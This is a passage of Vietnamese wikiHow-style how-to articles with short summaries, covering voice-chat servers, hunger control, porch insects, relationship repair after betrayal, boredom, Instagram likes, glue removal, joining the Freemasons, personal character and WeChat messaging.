sổ, bạn sẽ thấy một danh sách các kênh trên máy chủ. Các kênh có thể được bảo vệ bằng mật khẩu, và bạn có thể cần được cấp quyền truy cập bởi quản trị viên. Một danh sách người dùng sẽ được hiển thị bên dưới mỗi kênh.  Hầu hết các nhóm chơi lớn sẽ có máy chủ được chia thành các kênh cho các trò chơi khác nhau mà nhóm chơi, cùng với một phần chỉ dành cho người chơi lâu năm nếu như nhóm khá lớn. Các thiết lập máy chủ sẽ khác nhau khá nhiều giữa các nhóm. Kích đúp vào kênh để gia nhập. Bạn sẽ chỉ có thể nói chuyện được với những người dùng cùng kênh với mình. Bên cạnh khả năng tán gẫu bằng giọng nói, mỗi kênh còn có tính năng tán gẫu bằng văn bản cơ bản. Bạn có thể truy cập bằng cách nhấn vào thẻ ở dưới cùng cửa sổ. Tránh việc đưa những thông tin hoặc các câu lệnh quan trọng, nhạy cảm về thời gian vào đoạn tán gẫu văn bản, bởi nhiều người dùng sẽ không nhìn thấy nó trong trò chơi. Nếu bạn định kết nối vào máy chủ mà bạn thường sử dụng, bạn có thể làm cho việc kết nối dễ dàng hơn bằng cách đánh dấu nó. Thao tác này cho phép bạn kết nối trong tương lai chỉ với một cú nhấp chuột. Nếu hiện bạn đang kết nối tới một máy chủ, nhấn Bookmarks → Add to Bookmarks để thêm máy chủ hiện tại vào danh sách đánh dấu. Nếu bạn muốn thêm một máy chủ mà hiện bạn đang không kết nối, nhấn Bookmarks → Manage Bookmarks để thêm máy chủ một cách thủ công.

Summary: Mở cửa sổ Connect. Nhập thông tin được yêu cầu. Nhấn nút Connect. Duyệt tìm máy chủ. Tán gẫu bằng văn bản với người khác. Đánh dấu các máy chủ thường dùng.


Nhai kẹo cao su sẽ khiến não và dạ dày tin rằng bạn đang ăn hoặc cảm thấy no. Điều này không chỉ kích thích trí não cảm thấy no, mà còn đảm bảo rằng miệng của bạn đang rất bận để ăn. Đảm bảo bạn nhai kẹo cao su không đường để không nhận lượng calo thừa. Nhai kẹo cao su thậm chí có thể đốt cháy 11 calo trong một giờ. Ngậm đá viên sẽ khơi dậy cảm giác no giống như kẹo cao su. Đá viên có thêm lợi ích đó là chúng tan thành nước, và làm bạn cảm thấy no.  Thử một số hương vị không đường cho viên đá của bạn nếu bạn không thích vị nhạt. Cẩn thận với đá viên nếu răng bạn bị nhạy cảm hoặc đeo niềng vì chúng có thể gây đau. Bạn cũng có thể thử mua kem que không đường và calo và ăn chúng thay nhai đá viên. Một trong những cách hiệu quả nhất để cảm thấy no mà không cần ăn là uống nhiều nước cả ngày. Uống nước sẽ làm đầy dạ dày và cũng giữ ẩm cho bạn.  Sự mất nước có thể truyền tín hiệu đến não như tín hiệu của cơn đói. Nếu bạn không uống nhiều nước, bạn có thể cảm thấy đói khi bạn thực sự bị khát.  Nước uống có ga cũng có thể là lựa chọn tốt vì bọt sẽ làm đầy dạ dày của bạn. Nếu bạn không thích nước lọc, tạo hương vị bằng cách thêm một ít chanh vàng, chanh xanh, dưa leo hoặc thậm chí trái cây như mâm xôi. Chỉ cần đảm bảo bạn không ăn bất kỳ loại trái cây nào bạn cho vào nước! Uống thức uống có hương vị có thể giúp ổn định dạ dày và làm dịu cơn đói.  Bạn có thể dùng các loại thảo mộc khác như rễ cam thảo, ngưu bang, tầm ma, và thì là giúp ngăn chặn sự thèm ăn. Chần thảo mộc trong nước nóng sẽ cho bạn một cốc trà ngon và có tác dụng làm đầy nước trong bụng. Đồng thời thử dùng trà thảo mộc hoặc trà hương vị không đường. Trà và cà phê cũng là những lựa chọn tốt vì cafein sẽ giúp ngăn chặn sự thèm ăn (trong thời gian ngắn) trong khi đổ đầy nước vào dạ dày của bạn. Nếu bạn bắt đầu cảm thấy đói cồn cào và không muốn ăn bất cứ thứ gì, đánh răng có thể giúp bạn cảm thấy no. Nó không chỉ làm mất vị ngon khi ăn sau khi đánh răng, mà hương vị bạc hà trong kem đánh răng cũng sẽ kích thích não cảm thấy no.  Dùng kem đánh răng bạc hà hoặc quế. Nghiên cứu cho thấy không chỉ bạc hà, mà vị cay như quế có thể giúp ngăn chặn cơn thèm ăn.  Điều này cũng hạn chế sự thèm đường, vì vị ngọt từ kem đánh răng có thể tạm thời đáp ứng vị ngọt ở răng. Một điều rõ ràng rằng hương bạc hà có thể ngăn chặn sự thèm ăn. Ngậm kẹo bạc hà sẽ không chỉ ngăn sự thèm ăn, mà còn giữ cho miệng không ăn thức ăn khác.  Đảm bảo bạn ngậm kẹo bạc hà không đường như Altoids, để không tiêu thụ lượng calo không cần thiết.  Thậm chí chỉ cần ngửi tinh dầu bạc hà sẽ kích thích não làm dạ dày cảm thấy no.

Summary: Nhai kẹo cao su. Ngậm một viên đá. Uống nhiều nước. Uống trà thảo mộc hoặc trà hương vị. Đánh răng. Ngậm kẹo bạc hà hoặc kẹo không đường.


Nhiệt độ và ánh sáng tỏa ra từ các bóng đèn ngoài hiên như một ngọn hải đăng dẫn đường cho đám côn trùng, và như vậy thì cách đơn giản nhất để giải tán bớt côn trùng là cứ để cho chúng chìm trong bóng tối. Bạn hãy khoan bật đèn nếu bên ngoài trời vẫn đủ sáng để nhìn thấy đường đi.   Cách này có thể không phải là giải pháp thiết thực nhất, vì nhiều chủ nhà thích để đèn sáng ngoài hiên ban đêm vì lý do an toàn. Thử trang bị đèn cảm ứng hoặc cài đặt thời gian dèn tự động bật sáng khi trời tối và tắt khi mặt trời bắt đầu mọc. Tìm loại bóng đèn chống côn trùng được thiết kế để xua đuổi côn trùng. Ánh sáng vàng có một trong các bước sóng lớn nhất trong quang phổ nhìn thấy được – điều này khiến côn trùng rất khó thấy. Hầu hết côn trùng không nhận ra ánh sáng ngay cả khi chúng bay ngang qua.  Nếu không muốn phải thay toàn bộ đèn ngoài hiên phiền phức, bạn cũng có thể thử lót giấy bóng kính màu vàng bên trong chao đèn để tạo hiệu ứng tương tự.  Một nhược điểm của bóng đèn vàng là chúng tỏa ánh sáng vàng lên toàn bộ ngôi nhà. Điều này không lý tưởng lắm nếu bạn đang sắp đặt khung cảnh để giành giải thưởng “ngôi nhà đẹp nhất khu phố”! Bóng đèn LED ít tỏa hơn nóng hơn nhiều so với các bóng đèn sợi đốt thông thường, và ánh sáng của nó cũng không thu hút côn trùng. Hầu hết các bóng đèn LED tỏa ánh sáng trắng tinh khiết, vì vậy ngôi nhà của bạn sẽ không chìm trong ánh sáng vàng vọt của những bóng đèn vàng. Bạn có thể tìm mua bóng đèn LED tại các cửa hàng đồ điện với đủ kích cỡ phù hợp với nhu cầu chiếu sáng. Bóng đèn LED thường đắt hơn bóng đèn thông thường một chút. Vì vậy, sẽ tiết kiệm hơn nếu bạn chỉ gắn các bóng đèn này ở gần lối ra vào nhà nhất. Nến thơm đặc biệt hiệu quả trong việc xua đuổi những kẻ xâm nhập có cánh. Nến cũng là nguồn ánh sáng trang nhã bổ sung cho ánh sáng đèn nên sẽ tiện cả đôi đường. Để có kết quả tốt nhất, bạn nên đặt nến ở trên bàn hoặc trên lan can ngay bên dưới những ngọn đèn ngoài hiên bị côn trùng quấy rầy.  Tìm các loại nến chứa dầu và các phụ gia có hương thơm nồng như sả, khuynh diệp, bạc hà cay, hương thảo và oải hương.  Nến hương sả thường được sử dụng nhiều nhất và là một trong những giải pháp ánh sáng có tác dụng xua đuổi côn trùng hiệu quả. Loại nến này có bán tại hầu hết các cửa hàng các sản phẩm gia dụng.  Một biển nến sáng lung linh trông rất thích mắt, nhưng bạn cần cảnh giác với nguy cơ hỏa hoạn. Bạn nên thắp nến trong lọ hoặc cắm trên giá nến, và nhớ tránh xa rèm cửa, đồ đạc bọc nệm, cây cối và mọi vật liệu dễ cháy khác. Mặc dù hoạt động của đèn bẫy côn trùng không lấy gì làm đẹp mắt, nhưng thiết bị này xưa nay vẫn được ưa chuộng là có lý do. Ánh sáng xanh thần bí của nó dụ côn trùng bay tới, và phần lõi nhiễm điện sẽ hoàn tất nhiệm vụ khi côn trùng bay vào. Bạn chỉ cần treo đèn bẫy côn trùng cách xa đèn hiên vài mét và cứ để cho nó làm việc.  Do tiếng kêu o o liên tục của điện và mùi khét của côn trùng bị cháy, đèn bẫy côn trùng không phải là giải pháp lý tưởng cho những người thích ngồi thư giãn ngoài hiên nhà. Nếu không thích ý tưởng tàn sát côn trùng, bạn có thể tìm kiếm một giải pháp nhân đạo hơn.

Summary: Tắt mọi bóng đèn không cần thiết. Thử dùng bóng đèn vàng. Đổi sang dùng đèn LED. Thắp vài ngọn nến. Mua đèn bẫy côn trùng.


Phản bội không có nghĩa là bạn hoàn toàn không xứng đáng, hoặc rằng người bạn yêu không chung thủy là do lỗi của bạn. Tuy nhiên, có thể là do người đó không biết cách để nêu lên yêu cầu của mình. Bạn nên tham khảo ý kiến của người ấy về cách để mối quan hệ trở nên tốt đẹp hơn. Bạn cũng nên cởi mở hơn trong việc tiếp nhận lời đề nghị về biện pháp để cải thiện và củng cố mối quan hệ tình cảm của bạn.  Hãy bắt đầu câu nói bằng cụm từ “Em/Anh cảm thấy rằng…” để tránh làm đối phương cảm thấy như bị tấn công hoặc gây tổn thương cho họ. Phương pháp này sẽ giúp đối phương nhận thức được rằng bạn đang muốn trình bày rõ ràng về cảm xúc của chính mình chứ không phải là tranh cãi hoặc nêu lên một sự thật nào đó. “Sao chép” điều mà đối phương nói. Sao chép là khi bạn lặp lại những điều mà bạn nghe người ấy nói để có thể xác nhận quan điểm của họ và bảo đảm rằng cả hai đều đang hiểu rõ vấn đề. Vây quanh bản thân với người yêu thương bạn và có thể giúp bạn cảm thấy tốt hơn về bản thân. Tìm kiếm sự hỗ trợ từ phía xã hội trong việc nuôi dưỡng mối quan hệ của bạn sẽ giúp bạn tiến bước.  Bạn hoàn toàn có thể nói cho mọi người biết rằng mối quan hệ tình cảm của bạn “không liên quan gì đến họ”. Người quan tâm bạn sẽ tôn trọng ranh giới của bạn. Tìm kiếm sự ủng hộ từ những người mà người bạn đời của bạn luôn tin tưởng. Đôi khi, nguồn cung cấp sự hỗ trợ cho bạn có thể trở thành một phần của vấn đề mà người bạn yêu đang gặp phải. Nếu bạn đang cố gắng tự mình giải quyết vấn đề và nó không đem lại hiệu quả, chuyên gia có thể đã từng gặp gỡ những cặp đôi tương tự như bạn. Đặc biệt nếu yếu tố bên ngoài đang làm phức tạp hóa sự phản bội mà bạn đang phải đối mặt, tìm kiếm lời khuyên hoặc hướng dẫn của chuyên gia về cách để cải thiện mối quan hệ tình cảm có thể sẽ khá hữu ích. Chuyên gia bao gồm chuyên viên tư vấn hôn nhân gia đình, nhà trị liệu, bác sĩ tâm lý của gia đình, bác sĩ trị liệu chuyên về lĩnh vực tình dục, hoặc người đứng đầu một cộng đồng cụ thể nào đó như linh mục.  Ví dụ của vấn đề liên quan đến mối quan hệ bao gồm: ngoại tình lặp đi lặp lại, nghiện tình dục, đam mê tình dục, lạm dụng tình dục, vấn đề trong quan hệ gia đình. Ví dụ về những vấn đề khác có thể ảnh hưởng đến mối quan hệ của bạn: lạm dụng hoặc nghiện sử dụng chất kích thích, vấn đề tài chính, vấn đề pháp lý, vấn đề sức khỏe. Tập trung vào việc cho đối phương thấy rằng bạn vẫn còn yêu người ấy, và bạn cũng nên chấp nhận cử chỉ yêu thương của người đó. Hãy ân cần với nhau, và trân trọng hành động tử tế của nhau. Nếu người bạn đời của bạn cố gắng thể hiện tình cảm, bạn nên chú ý vào việc chấp nhận nó như một cử chỉ xuất phát từ đáy lòng.  Cùng nhau nấu ăn, dành thời gian đi chơi với nhau, tiếp xúc thể chất, và dành cho nhau những lời khen chân thành. Cư xử tử tế với đối phương để họ hiểu rằng bạn hiểu và quan tâm đến họ. Ví dụ, bạn có thể dẫn người ấy đến nhà hàng mà bạn biết chắc rằng người ấy sẽ thích hoặc dẫn người bạn yêu đi thăm gia đình vào ngày nghỉ. Có thể sẽ phải tốn nhiều tháng hoặc thậm chí là nhiều năm để bạn có thể hồi phục sau khi bị người yêu phản bội, và mối quan hệ của bạn có thể sẽ không bao giờ trở về như trước kia. Bạn nên học cách sống trong hiện tại và chấp nhận rằng sẽ phải tốn khá nhiều thời gian để phát triển mối quan hệ đến mức độ mà bạn mong muốn. Người bạn đời của bạn có lẽ sẽ muốn đi theo tốc độ riêng của họ, và đây cũng là ví do vì sao giao tiếp lại là yếu tố rất quan trọng.  Không nên so sánh bản thân với những cặp đôi hoặc các mối quan hệ khác. Tiến hành từng bước nhỏ. Ngày hôm nay có phải là một ngày tốt đẹp? Bạn có hoàn tất bữa tối mà không hề suy nghĩ về sự phản bội? Không có bất kỳ một phương pháp nào được xem như là đường tắt trong việc xây dựng mối quan hệ tình cảm. Hãy sử dụng toàn bộ thời gian và sự nỗ lực mà bạn cần để phát triển mối quan hệ đến mức độ mà bạn muốn.

Summary: Tìm hiểu về nhu cầu của đối phương. Ở cạnh bạn bè và người thân. Tham khảo ý kiến chuyên gia. Thể hiện tình yêu. Tiến hành mọi việc theo tiến độ riêng của bạn.


Ban có thể tự chơi một mình hoặc chơi cùng những người khác. Có rất nhiều trò chơi điện tử trực tuyến miễn phí hoặc bạn cũng có thể chơi trò chơi với giấy và bút.  Bạn có thể chơi cờ ca rô Nếu mang theo máy tính và muốn giết thời gian thì bạn có thể thử chơi trò nổi tiếng Battle Toads. Hãy xem một chương trình truyền hình mà bạn chưa từng xem hoặc chưa từng nghĩ là mình sẽ xem trước đó. Bạn có thể xem rất nhiều chương trình truyền hình miễn phí trên YouTube. Chơi khăm ai đó cũng khá vui, nhưng tốt nhất nên là người bạn quen vì bạn sẽ khó lường trước được phản ứng của người lạ. Bạn có thể:  Thay đổi cài đặt ngôn ngữ trên điện thoại của một người bạn Phết một lớp kem phô mai hoặc sôcôla trắng lên trên lăn khử mùi của bạn cùng phòng Bạn có thể thử vẽ truyện tranh về cuộc sống của mình. Không cần phải có năng khiếu vẽ, rất nhiều bộ truyện tranh nổi tiếng được vẽ nên chỉ bằng những nét gạch! Đọc sách cũng rất thú vị! Hãy đọc một cuốn sách bạn không nghĩ mình sẽ thích, có thể bạn sẽ thay đổi suy nghĩ đấy! Những cuốn sách sẽ đưa bạn đến một thế giới hoàn toàn mới. Hoặc thay vì những cuốn sách không mấy hấp dẫn, bạn có thể chọn đọc những cuốn bản thân thấy thú vị.

Summary: Chơi trò chơi. Xem một chương trình truyền hình mới. Chơi khăm. Vẽ truyện tranh. Đọc một cuốn sách.


Các nghiên cứu cho thấy khoảng thời gian tối ưu nhất để đăng ảnh lên Instagram là 5 giờ chiều thứ Tư. Nếu bạn muốn có nhiều lượt thích hơn, bạn cần đăng ảnh lúc mọi người đang xem điện thoại. Điều này có nghĩa là bạn cần phải tránh giờ hành chính, từ 8 giờ sáng tới 5 giờ chiều, và đăng vào lúc mọi người còn đang thức và xem điện thoại.  Đừng đăng quá nhiều ảnh cùng một lúc. Nếu bạn có ba hoặc bốn bức ảnh đẹp, đừng đăng toàn bộ thành một sê-ri, nếu không, bạn sẽ nhận được rất ít lượt thích. Trừ khi chúng đặc biệt ăn khớp với nhau theo một cách nào đó, còn không thì bạn nên đợi và đăng cách quãng. Đảm bảo bạn đăng ảnh vào thời gian phù hợp đối với khán giả mà bạn nhắm tới. Nếu phần lớn người theo dõi bạn đang sống ở nước ngoài thì họ có thể đang ở một múi giờ khác với bạn. Ảnh luôn phải có bối cảnh. Phần ghi chú cho ảnh là cơ hội để bổ sung thêm những câu đùa vui, hoặc giúp người đọc hiểu được phần nào về bức ảnh. Hãy viết ghi chú một cách châm biếm để mọi người có thể thấy thích ảnh của bạn theo nhiều cách khác nhau.  Việc này rất quan trọng, nhưng nếu bạn viết ghi chú theo cách thông thường thì cũng ổn. Hãy đăng kèm cả biểu tượng cảm xúc và viết vài câu gì đó. Viết ghi chú một cách châm biếm. Nếu bạn đã chụp được một bức ảnh đẹp về hoàng hôn ở khu nhà thì rất tuyệt, nhưng nếu bạn ghi chú cho bức ảnh là “Đẹp thế này mà cả khu cứ ồn như cái chợ”. Hashtag là một cách tuyệt vời để những người chưa theo dõi bạn biết tới bạn. Khi mọi người tìm kiếm theo hashtag của một chủ đề nhất định, ảnh của bạn sẽ xuất hiện. Hãy dùng nhiều hashtag chính xác và phổ biến để giúp ảnh của mình gắn với càng nhiều từ khóa tìm kiếm càng tốt.  Một số những hashtag phổ biến là: dễ thương, tình yêu, nụ cười, swag, nổi tiếng, instagood, ảnh đẹp, instamood... Sử dụng hashtag chính xác. Nếu bạn vừa tự chụp ảnh, hãy ghi hashtag là #selfie. Nếu bạn chụp ảnh hội bạn thân, hashtag sẽ là #bff. Đừng nghĩ gì quá phức tạp. Đánh dấu vị trí của bạn. Nếu ảnh của bạn được chụp tại một địa điểm cụ thể, hãy để Instagram tự đánh dấu vị trí địa lý cho bạn. Việc này sẽ giúp người khác ở cùng nơi với bạn tìm thấy những bức ảnh về nơi đó để nhấn thích. Nghiên cứu cho thấy sử dụng 11 hashtag là hợp lý nhất. Bạn có thể dùng quá nhiều hashtag khiến người dùng khó chịu và trang của bạn có vẻ làm màu. Chỉ nên sử dụng một số lượng vừa đủ để cho nhiều người có thể tìm ra ảnh của bạn. Tìm những hashtag có liên quan và phổ biến nhờ những trang web hoặc ứng dụng như TagsForLikes. Khi dùng hashtag, bạn sẽ thấy có vài người lạ thích ảnh của bạn. Khi đó, hãy nhấn theo dõi họ. Nếu có người tỏ ra thích thú với ảnh và thông tin cá nhân của bạn, bạn có thể chủ động kết nối với họ. Bình luận hoặc thích vài tấm ảnh của họ. Bạn chỉ mất vài phút mà vẫn có thêm một người theo dõi mới. Sẽ rất tốt nếu bạn thể hiện rằng bạn là người thật chứ không phải là cỗ máy thu thập người theo dõi. Hãy dạo quanh và bình luận đôi chút, dù chỉ là một câu cảm ơn. Nhấp vào những hashtag thịnh hành và xem những bức ảnh bạn tìm thấy. Ngay cả những hashtag rất cụ thể như # hamburger cũng sẽ cho hiển thị rất nhiều ảnh khác nhau. Ảnh nào đẹp nhất? Ảnh nào bạn sẽ nhấn nút thích? Hãy học hỏi từ những bức ảnh đẹp nhất. Nhấn vào nút Activity (hoạt động) để xem những người theo dõi bạn đang làm gì. Họ thích những bức ảnh nào? Chủ đề nào có vẻ đang thịnh hành? Cũng như khi bạn dùng ứng dụng có tính phí để làm tăng lượng người theo dõi, bạn có thể dùng chúng để có thêm lượng thích. Mỗi ứng dụng có một cách hoạt động khác nhau, một số sẽ đem lại hiệu quả ở nhiều mức độ, nhưng bạn có thể thực hiện vài nhiệm vụ nhỏ để lấy “xu” rồi đổi lấy một lượng thích từ các tài khoản bot.  GetLikes MagicLiker LikePotion

Summary: Đăng ảnh vào thời điểm vàng. Luôn chú thích cho ảnh. Sử dụng những hashtag phổ biến. Theo dõi những người đã thích ảnh của bạn. Lướt qua bảng tin trên ứng dụng để xem xu hướng mới nhất là gì. Dùng một số ứng dụng làm tăng lượng thích.


Dung môi sẽ làm yếu độ bám của keo trên kính, và dụng cụ cạo sẽ giúp bạn cạo sạch keo. Bạn nên dùng dùng cụ cạo bằng kim loại, nếu sắc và cứng thì càng tốt. Đừng dùng lưỡi cạo mỏng và yếu – bạn sẽ phải dùng lực mạnh để loại bỏ keo, và lưỡi dao sắc sẽ rất nguy hiểm nếu bị gãy. Dùng dụng cụ cạo mà bạn thường dùng để làm sạch đề can ô tô. Bạn cũng tó thể dùng dao cạo mới, dao rọc đa năng hoặc đầu phẳng của tuốc nơ vít. Để lưỡi dao nghiêng 30 độ so với bề mặt kính. Cạo cẩn thận và từng khu vực một trên kính. Đẩy lưỡi dao cạo bằng động tác trơn tru, và hãy nhớ: bạn đang cạo chứ không cắt; nếu không, bạn có thể làm hư hại kính. Phương pháp cạo không chỉ có tác dụng làm sạch keo mà còn rất hiệu quả trong việc loại bỏ lớp sơn khô dày và cứng đầu. Nếu phải đối phó với vết keo đặc biệt khó tẩy, bạn hãy thử dùng cước thép. Nhúng cước thép vào nước pha vài giọt xà phòng và chà lên kính. Cẩn thận, đừng chà quá mạnh – nếu bạn ấn quá mạnh, cước thép có thể để lại các vết trầy xước vĩnh viễn trên bề mặt kính. Hoàn tất bằng cách lau kính bằng khăn sạch hoặc bằng phần khăn sạch tẩm cồn hoặc giấm. Nếu có các vết lốm đốm dính vào cửa kính, bạn có thể bỏ qua dung môi và chỉ cần lau bằng khăn sạch.

Summary: Cạo sạch keo khi đã ngâm hoặc kỳ  cọ bằng dung môi. Cạo vết keo dính cứng đầu khỏi kính bằng dụng cụ cạo. Dùng cước thép. Lau bề mặt vừa cạo bằng khăn khô và sạch.


Cách đơn giản nhất để bắt đầu quá trình kết nạp là liên hệ với trụ sở của Hội Tam Điểm gần nơi bạn sống, những nơi này thường được liệt kê trong danh bạ điện thoại, hoặc đơn giản hơn là tìm kiếm qua mạng, nói rõ rằng mình đang quan tâm đến việc trở thành một thành viên của Hội Tam Điểm. Ngoài cách này ra, bạn có thể gia nhập bằng một số cách khác tuỳ vào nơi bạn sống, và tốt nhất là nên bắt đầu tại nơi bạn đang sinh sống. Quá trình gia nhập bắt đầu tại đây:  Tìm kiếm một Thợ nề tự do. Có rất nhiều thành viên của hội tự hào dán biểu tượng của Hội Tam Điểm lên xe ô tô, mũ, quần áo hay nhẫn. Họ sẽ rất sẵn lòng nói chuyện với những người muốn tìm hiểu thêm thông tin về Hội. Hội đồng phán xét tại một số nơi sẽ yêu cầu thành viên tiềm năng tiếp cận hội huynh đệ thông qua cách riêng của họ, nhưng một số khác lại cho phép các thành viên đưa ra lời mời. Nếu bạn đã được một Thợ nề nào đó mời trở thành một thành viên của Hội Tam Điểm, đừng chần chừ mà hãy thực hiện các bước tiếp theo. Sau khi đơn xin gia nhập của bạn được xem xét, bạn sẽ được gọi tới trụ sở Hội Tam Điểm gần nơi bạn sống để trả lời phỏng vấn với một nhóm Thợ nề được biết tới như một Uỷ ban điều tra.  Họ sẽ hỏi bạn những câu liên quan đến lý do gia nhập, quá khứ và chính bản thân bạn. Bạn sẽ có cơ hội để đặt câu hỏi về Hội Tam Điểm. Uỷ ban Điều tra sẽ dành một hoặc hai tuần để nói chuyện với những người liên quan tới bạn và đối chiếu với những thông tin bạn đã cung cấp. Nghiện rượu, lạm dụng chất kích thích, lạm dụng thành viên trong gia đình và những vấn đề tương tự sẽ là căn cứ để họ từ chối. Tại một số quốc gia, quá trình này có thể kéo dài đến hàng năm. Thành viên tại Trụ sở sẽ bỏ phiếu về việc có chấp nhận cho bạn gia nhập hay không. Nếu câu trả lời là có, bạn sẽ nhận được một thiệp mời để trở thành một thành viên của Hội Tam Điểm.

Summary: Liên hệ trụ sở của Hội ở gần nơi bạn sống. Nhận lời mời gặp gỡ với các thành viên của Hội.


Người đàn ông chân chính không nhất thiết phải luôn thoải mái trong việc trở thành quan tòa, hội thẩm, và người thi hành án, nhưng anh ta biết rõ điều đúng và sai và hy vọng người khác cũng theo sát những quy tắc này. Bạn nên nhìn vào tâm hồn mình và tự hỏi rằng: Liệu mình có muốn người khác làm như vậy đối với mình?. Phương pháp này sẽ giúp bạn phát triển nguyên tắc sống.  Một người đàn ông chân thật sẽ không ăn cắp, ngay cả khi anh ấy đang túng quẫn. Họ sẽ học cách tìm kiếm sự giúp đỡ từ phía người khác thay vì tự giúp mình bằng cách thực hiện hành động mà họ không có quyền thực hiện. Người đàn ông thực thụ sẽ giúp đỡ người khác khi họ cần. Anh ấy biết rõ thời điểm khi người khác đang gặp xui xẻo và cần giúp đỡ, ngay cả khi sự giúp đỡ chỉ nằm trong cử chỉ của anh ấy. Người đàn ông chân thật sẽ tin tưởng ở bạn bè, ở người yêu, và ở gia đình của mình. Anh ấy thực hiện điều anh ấy đã nói và hy vọng người khác cũng hành động tương tự. Anh ấy sẽ không bao giờ nói dối – đối với bản thân và với người khác. Anh ấy phát triển một lương tâm mạnh mẽ luôn cung cấp cho anh ấy sự phản hồi tốt đẹp và cho phép anh ấy cảm thấy thoải mái với sự thật, ngay cả khi nó khá đau lòng. Nam giới thường có bản tính tham vọng. Chúng ta đều muốn trở thành trụ cột trong gia đình và nhận được sự ngưỡng mộ và tôn trọng của mọi người xung quanh. Tuy nhiên, không phải người nào cũng lựa chọn con đường sự nghiệp như nhau, vì vậy, tham vọng không nhất thiết phải giống nhau. Bất kể sự nghiệp hoặc nghề nghiệp mà bạn lựa chọn (có thể là bạn làm rất nhiều nghề), bạn nên thiết lập mục tiêu cho bản thân để sống cùng với nó hoặc vượt qua nó, và tự đổi mới bản thân mỗi khi bạn cần. Bạn nên xác định ý nghĩa riêng của chính mình về sự thành công. Sự khác biệt chủ yếu giữa một người đàn ông và một cậu bé, cũng như người trưởng thành và trẻ nhỏ, là đàn ông sẽ có tinh thần trách nhiệm cao hơn. Đàn ông tôn trọng sự cam kết của mình, chấp nhận nghĩa vụ và chịu trách nhiệm trước hành động của bản thân. Họ sẽ tự mình dọn dẹp sự bừa bộn do họ tạo ra (theo cả nghĩa đen và nghĩa bóng).  Đàn ông chân chính biết rằng bất kỳ ai cũng có thể trở thành cha của một đứa trẻ, nhưng chỉ người đàn ông thực thụ, người hiểu rõ và chấp nhận trách nhiệm của bản thân, mới có thể là một người cha tốt. Họ thường không ép buộc người khác giúp họ thực hiện điều mà họ không muốn làm. Và họ trân trọng sự khó khăn cũng như rủi ro mà người khác gánh chịu thay cho họ. Hy sinh là một phần của quá trình trưởng thành, bất kể là bạn có thích hay không. Sự khác nhau giữa đàn ông và cậu bé là người đàn ông thực thụ sẽ đối mặt với khó khăn, trong khi cậu bé sẽ do dự và than phiền. Đặc biệt là đối với người mà họ yêu thương trong cuộc sống, người đàn ông chân chính sẽ chấp nhận hy sinh – cho dù điều đó có nghĩa là cống hiến thời gian, tiền bạc, hoặc các nguồn lực khác cho người khác – như là nghĩa vụ của anh ấy. Sự liêm chính là làm điều đúng đắn, vì lý do hợp lý, ngay cả khi mọi người đều không để mắt đến bạn. Sẽ dễ dàng để bạn suy nghĩ rằng bằng cách hoàn tất nhiệm vụ của bản thân như là một người đàn ông thực thụ, bạn đã hoàn thành công việc, nhưng tư duy này không khiến bạn trở thành một con người tốt. Không bao giờ được ngừng thực hiện điều đúng đắn và tái đánh giá tính cách và sự liêm chính của mình. Nếu bạn muốn trở thành một người đàn ông thực thụ, hãy là một người đàn ông tốt, hoặc nếu không, tốt hơn hết bạn chỉ nên mãi mãi là một cậu bé.

Summary: Phát triển nguyên tắc riêng của bạn. Hãy tham vọng theo cách riêng của bạn. Tìm kiếm trách nhiệm và chịu trách nhiệm cho hành động của mình. Học cách hy sinh cho người mà bạn yêu thương và quan tâm. Trở thành người đàn ông tốt.


Bạn hãy nhấn vào nút Contacts rồi chọn tên của một người bạn và nhấn Messages để mở hộp thoại trò chuyện. Gõ tin nhắn vào trường tin nhắn và nhấn Send (Gửi). Nhập tin nhắn và nhấn vào nút có hình mặt cười. Lúc này, bạn có thể nhấn để chọn một biểu tượng cảm xúc nào đó. Nằm bên phải trường tin nhắn là nút +. Hãy nhấn vào đó rồi nhấn Images (Hình ảnh) để gửi hình. Nếu cho phép WeChat truy cập vào thư mục Máy ảnh, bạn sẽ thấy được hình ảnh và video của mình ngay trong ứng dụng này. Hãy nhấn vào hình mà bạn muốn thêm vào tin nhắn. Bạn còn có thể gửi kèm thông điệp cùng hình ảnh. Nhấn Send (Gửi) để gửi đi.  Trên iOS, trong lần đầu gửi hình ảnh hoặc âm thanh từ thư mục Máy ảnh, WeChat sẽ hỏi liệu bạn có cho phép ứng dụng truy cập vào hình ảnh của bạn hay không. Bạn có thể thay đổi thiết lập này trong ứng dụng Settings (Cài đặt) của iOS bằng cách cuộn xuống đến thiết lập WeChat và thay đổi thiết lập quyền riêng tư Privacy. Ở bên phải của trường tin nhắn là dấu +. Hãy nhấn vào nút này rồi nhấn vào nút Camera để chụp ảnh hoặc quay phim. Tiếp đến, nhấn Use Photo (Sử dụng hình ảnh). WeChat sẽ gửi hình/video mà bạn vừa chụp/quay.  Bạn nên cẩn thận khi gửi video bởi những tập tin này có thể sẽ khá nặng. Trên iOS, trong lần đầu gửi hình ảnh hoặc âm thanh từ thư mục Máy ảnh, WeChat sẽ hỏi liệu bạn có cho phép ứng dụng truy cập vào hình ảnh của bạn hay không. Bạn có thể thay đổi thiết lập này trong ứng dụng Settings (Cài đặt) của iOS bằng cách cuộn xuống đến thiết lập WeChat và thay đổi thiết lập quyền riêng tư Privacy. Bên cạnh gửi tin nhắn văn bản, hình ảnh và video, bạn còn có thể dùng WeChat để gọi thoại hoặc chat video. Hãy nhấn vào nút + rồi chọn Voice Call (Gọi thoại) hoặc Video Call (Chat Video).  Khi ai đó chưa thêm bạn vào danh sách bạn bè, bạn sẽ không thể thực hiện cuộc gọi thoại hay chat video đến người đó. Khi không có Wi-Fi, WeChat sẽ sử dụng dữ liệu di động của điện thoại để thực hiện các cuộc gọi thoại và video. Chúng, đặc biệt là chat video, có thể nhanh chóng dùng hết dung lượng 3 hay 4G của bạn.

Summary: Gửi tin nhắn. Thêm biểu tượng cảm xúc vào tin nhắn. Gửi hình hoặc video. Chụp hình hoặc quay video để gửi. Gọi thoại hoặc chat video.


